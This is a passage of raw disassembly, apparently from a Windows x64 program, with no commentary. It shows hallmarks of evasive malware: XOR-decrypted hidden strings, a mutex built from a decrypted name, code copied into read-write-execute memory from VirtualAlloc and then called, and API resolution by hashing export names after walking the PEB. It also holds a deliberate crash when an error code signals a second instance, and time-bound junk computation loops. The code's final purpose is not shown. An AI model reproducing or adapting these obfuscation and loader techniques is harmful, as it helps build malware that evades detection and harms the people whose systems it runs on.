lea rcx, [rsp + 0x4f0]
call fcn.140158cc0
lea rcx, [rsp + 0x4f8]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x268], rcx
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x268]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4f8]
call fcn.140158cc0
lea rcx, [rsp + 0x500]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x270], rcx
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x270]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x500]
call fcn.140158cc0
lea rcx, [rsp + 0x508]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x278], rcx
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x278]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x508]
call fcn.140158cc0
lea rcx, [rsp + 0x510]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.140119a00
test al, al
jns 0x140152b2c
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x88d0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov rbx, qword [rsp + 0xcc0]
sub rbx, qword [rsp + 0xcb8]
sar rbx, 3
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xcb8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1080]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0x1080]
call fcn.140119840
lea rcx, [rsp + 0xeb0]
call fcn.140119a50
lea rcx, [rsp + 0xeb0]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x7e0], xmm6
lea r8, [rsp + 0x7e0]
mov rdx, qword [rsp + 0xeb8]
mov rcx, qword [rsp + 0xeb0]
call fcn.140162360
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xeb0]
call fcn.140119950
mov rdx, qword [rsp + 0xeb8]
mov rcx, qword [rsp + 0xeb0]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x1401529fa
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
test eax, eax
jne 0x140152a1f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140152a2e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x88d0]
test bl, 1
jne 0x140152aab
lea rcx, [rsp + 0xc48]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140152acd
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xde0]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140152a40
sub rdi, 1
jne 0x140152a33
lea rcx, [rsp + 0xeb0]
call fcn.140158e00
nop
lea rcx, [rsp + 0x1080]
call fcn.1401348f0
sub rsi, 1
jne 0x1401527f0
lea rcx, [rsp + 0x510]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.140119a00
test al, al
js 0x1401527e0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xcb8]
call fcn.140158d10
lea rdx, [0x140207d40]
lea rcx, [0x140203330]
call fcn.140163180
mov rcx, rax
call fcn.1401631a0
lea rdx, [0x140207dd0]
lea rcx, [0x140203330]
call fcn.140163180
mov rcx, rax
call fcn.1401631a0
lea rdx, [0x140207db0]
lea rcx, [0x140203330]
call fcn.140163180
mov rcx, rax
call fcn.1401631a0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xd0], 0x1f4
lea rcx, [rsp + 0xf18]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf18]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140205920]
lea rdi, [0x140162e30]
lea rsi, [0x140000000]
test rax, rax
je 0x140152bf4
cmp rax, rdi
je 0x140152c21
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205920]
test rax, rax
jne 0x140152be0
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x140152c3b
mov r8, r14
jmp 0x140152cde
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x206c90]
test r8, r8
je 0x140152bf4
mov r13d, 3
jmp 0x140152cff
mov rax, rdi
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140152c50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205f70]
mov qword [rsi + rax*8 + 0x205920], rdi
mov qword [rsi + rax*8 + 0x206c90], r8
inc rax
mov qword [0x140205f70], rax
lea rdx, [rsp + 0xd0]
mov rcx, rbx
call r8
nop
mov rcx, qword [rsp + 0xf18]
xor rcx, qword [rsp + 0xf20]
mov qword [rsp + 0xf18], rcx
mov rax, qword [rsp + 0xf28]
mov qword [rax], rcx
movsd xmm0, qword [str.qpCBIymcwn3]
movsd qword [rsp + 0xa8], xmm0
mov eax, dword [0x1401ebc58]
mov dword [rsp + 0xb0], eax
movzx eax, byte [0x1401ebc5c]
mov byte [rsp + 0xb4], al
mov r8d, r14d
mov r12d, dword [0x1402000f8]
mov edi, 6
lea ebx, [rdi + 0x19]
cmp r12d, 2
jl 0x140152f5f
movdqa xmm7, xmmword [0x1401ed2f0]
movdqa xmm8, xmmword [0x1401ed2e0]
movd xmm9, edi
movd xmm11, ebx
movdqa xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.eeeeeeeeeeeeeeee]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.qpCBIymcwn3]
pxor xmm3, xmm0
movd dword [rsp + 0xa8], xmm3
movdqa xmm5, xmmword [0x1401ed210]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xac]
pxor xmm3, xmm1
movd dword [rsp + 0xac], xmm3
mov r8d, 8
movsxd rax, r8d
lea r10, [rsp + 0xa8]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r9d, eax, 0x3e
mov eax, 0x6db6db6d
imul r8d
sub edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r9b
add cl, r8b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xd
jl 0x140152f70
lea r8, [0x140207d40]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xa60]
call fcn.140162f90
mov rcx, rax
call fcn.1401321b0
mov r8, rax
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0xa60]
call fcn.1401348f0
movsd xmm0, qword [str.Xoz_W_C_tfX_TK5]
movsd qword [rsp + 0xb8], xmm0
mov eax, dword [0x1401ebfb0]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x1401ebfb4]
mov word [rsp + 0xc4], ax
cmp byte [0x1401ebfb5], 0
je 0x140153292
mov r9d, r14d
cmp r12d, 2
jl 0x14015322e
movdqa xmm7, xmmword [0x1401ed2f0]
movdqa xmm8, xmmword [0x1401ed2e0]
movd xmm9, edi
movd xmm11, ebx
movdqa xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.eeeeeeeeeeeeeeee]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.Xoz_W_C_tfX_TK5]
pxor xmm3, xmm0
movd dword [rsp + 0xb8], xmm3
movdqa xmm5, xmmword [0x1401ed210]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xbc]
pxor xmm3, xmm1
movd dword [rsp + 0xbc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140153240
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0xa40]
call fcn.1401321c0
mov rcx, rax
call fcn.1401324d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140153336
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140153336
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xdd82d4a7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140153331
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140153310
cmp r8d, 0xf07336f1
je 0x14015333b
test r10d, r10d
jne 0x1401532f0
mov rax, qword [rax]
jmp 0x1401532c0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x14015336a
mov qword [0], r14
jmp 0x140156099
movups xmm0, xmmword [str.RsvUJIFSBCH]
movups xmmword [rsp + 0x328], xmm0
movsd xmm0, qword [0x1401eb958]
movsd qword [rsp + 0x338], xmm0
mov eax, dword [0x1401eb960]
mov dword [rsp + 0x340], eax
movzx eax, word [0x1401eb964]
mov word [rsp + 0x344], ax
movzx eax, byte [0x1401eb966]
mov byte [rsp + 0x346], al
mov r9d, r14d
cmp r12d, 2
jl 0x1401535e5
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x328]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1401533f0
cmp r9d, 0x1f
jge 0x140153652
movsxd rax, r9d
lea r10, [rsp + 0x328]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140153600
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0xa20]
call fcn.1401321c0
mov rcx, rax
call fcn.1401324d0
lea rcx, [rsp + 0xf30]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf30]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140206600]
lea r15, [0x140163f40]
test rax, rax
je 0x1401536d1
cmp rax, r15
je 0x1401536be
inc ecx
mov rax, qword [rsi + rcx*8 + 0x206600]
test rax, rax
jne 0x1401536a8
jmp 0x1401536d1
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x207930]
test rdx, rdx
jne 0x1401537b0
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1401536f8
mov rdx, r14
jmp 0x14015378f
mov rax, r15
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140153701
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140206fb8]
mov qword [rsi + rax*8 + 0x206600], r15
mov qword [rsi + rax*8 + 0x207930], rdx
inc rax
mov qword [0x140206fb8], rax
lea rcx, [0x140128630]
call rdx
nop
mov rcx, qword [rsp + 0xf30]
xor rcx, qword [rsp + 0xf38]
mov qword [rsp + 0xf30], rcx
mov rax, qword [rsp + 0xf40]
mov qword [rax], rcx
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x9c60]
call fcn.140158db0
mov dword [rsp + 0xc40], 0xffffff9c
mov dword [rsp + 0xc44], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xdf0], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x518]
call fcn.140119650
mov rax, qword [rsp + 0x518]
add rax, 0x5f5e100
mov qword [rsp + 0x2b8], rax
lea rcx, [rsp + 0xd30]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd30], xmm0
mov qword [rsp + 0xd40], r14
lea rcx, [rsp + 0x520]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x288], rcx
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x288]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x520]
call fcn.140158cc0
lea rcx, [rsp + 0x528]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x290], rcx
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x290]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x528]
call fcn.140158cc0
lea rcx, [rsp + 0x530]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x298], rcx
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x298]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x530]
call fcn.140158cc0
lea rcx, [rsp + 0x538]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2a0], rcx
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2a0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x538]
call fcn.140158cc0
lea rcx, [rsp + 0x540]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2a8], rcx
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2a8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x540]
call fcn.140158cc0
lea rcx, [rsp + 0x548]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2b0], rcx
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0xd30]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2b0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x548]
call fcn.140158cc0
lea rcx, [rsp + 0x550]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x2b8]
call fcn.140119a00
test al, al
jns 0x140153dd3
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x9c60]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop dword [rax + rax]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov rbx, qword [rsp + 0xd38]
sub rbx, qword [rsp + 0xd30]
sar rbx, 3
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
cdqe
